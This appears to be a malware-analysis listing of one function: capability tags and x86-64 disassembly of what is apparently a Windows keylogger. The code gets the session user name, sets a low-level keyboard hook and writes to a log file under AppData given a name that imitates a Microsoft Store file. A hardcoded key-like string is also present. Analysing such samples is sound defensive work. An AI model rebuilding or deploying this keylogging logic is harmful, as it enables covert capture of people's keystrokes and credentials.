Function at 0x140017f90
Capabilities:
Get session user name
Log keystrokes via application hook

Disassembly:
jmp 0x140017f90
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x778]
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x140034108]
call fcn.140001861
nop
lea rax, [rbp + 0x568]
mov qword [rbp + 0x5a8], rax
lea rdx, str.diocanediocane12
mov rcx, qword [rbp + 0x5a8]
call fcn.14000138e
mov rcx, rax
call fcn.140001627
nop
call fcn.1400015fa
nop
mov dword [rbp + 4], 0x101
lea rdx, [rbp + 4]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
nop
mov eax, 2
imul rax, rax, 0
lea rax, [rbp + rax + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x258]
call fcn.14000128f
nop
lea rax, [rbp + 0x5e8]
mov qword [rbp + 0x618], rax
lea rax, [rbp + 0x638]
mov qword [rbp + 0x668], rax
lea rcx, [rbp + 0x5c4]
call fcn.1400011bd
mov qword [rbp + 0x718], rax
mov rdx, qword [rbp + 0x618]
lea rcx, [rbp + 0x258]
call fcn.14000167c
mov qword [rbp + 0x720], rax
mov rdx, qword [rbp + 0x668]
lea rcx, [rbp + 0x258]
call fcn.1400013de
mov rcx, qword [rbp + 0x718]
mov r9, rcx
mov rcx, qword [rbp + 0x720]
mov r8, rcx
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.140001429
nop
lea rdx, [rbp + 0x298]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000178f
lea rdx, [0x140001032]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea r8, [rbp + 0x298]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x688]
call fcn.14000103c
lea r8, str.AppDataRoamingmicrosoftStore.07.10.2024.log
mov rdx, rax
lea rcx, [rbp + 0x6c8]
call fcn.1400017cb
mov rdx, rax
lea rcx, [0x14002cce8]
call fcn.14000120d
lea rcx, [rbp + 0x6c8]
call fcn.14000115e
lea rcx, [rbp + 0x688]
call fcn.14000115e
nop
lea rdx, [fcn.14000146f]
mov ecx, 2
call qword [sym.imp.ucrtbased.dll_signal]
nop
lea rdx, [fcn.14000146f]
mov ecx, 0x15
call qword [sym.imp.ucrtbased.dll_signal]
nop
lea rdx, [fcn.14000146f]
mov ecx, 0x10
call qword [sym.imp.ucrtbased.dll_signal]
nop
xor edx, edx
lea rcx, [0x1400013fc]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
mov r8, rax
lea rdx, [0x1400018d4]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14002c8e0], rax
cmp qword [0x14002c8e0], 0
je 0x1400181fa
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x1400181fa
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.USER32.dll_TranslateMessage]
nop
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
nop
jmp 0x1400181c3
mov rcx, qword [0x14002c8e0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov dword [rbp + 0x704], 0
lea rcx, [rbp + 0x298]
call fcn.14000115e
lea rcx, [rbp + 0x258]
call fcn.140001744
mov eax, dword [rbp + 0x704]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140022f60]
call fcn.1400016e5
mov eax, edi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.1400013e8
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret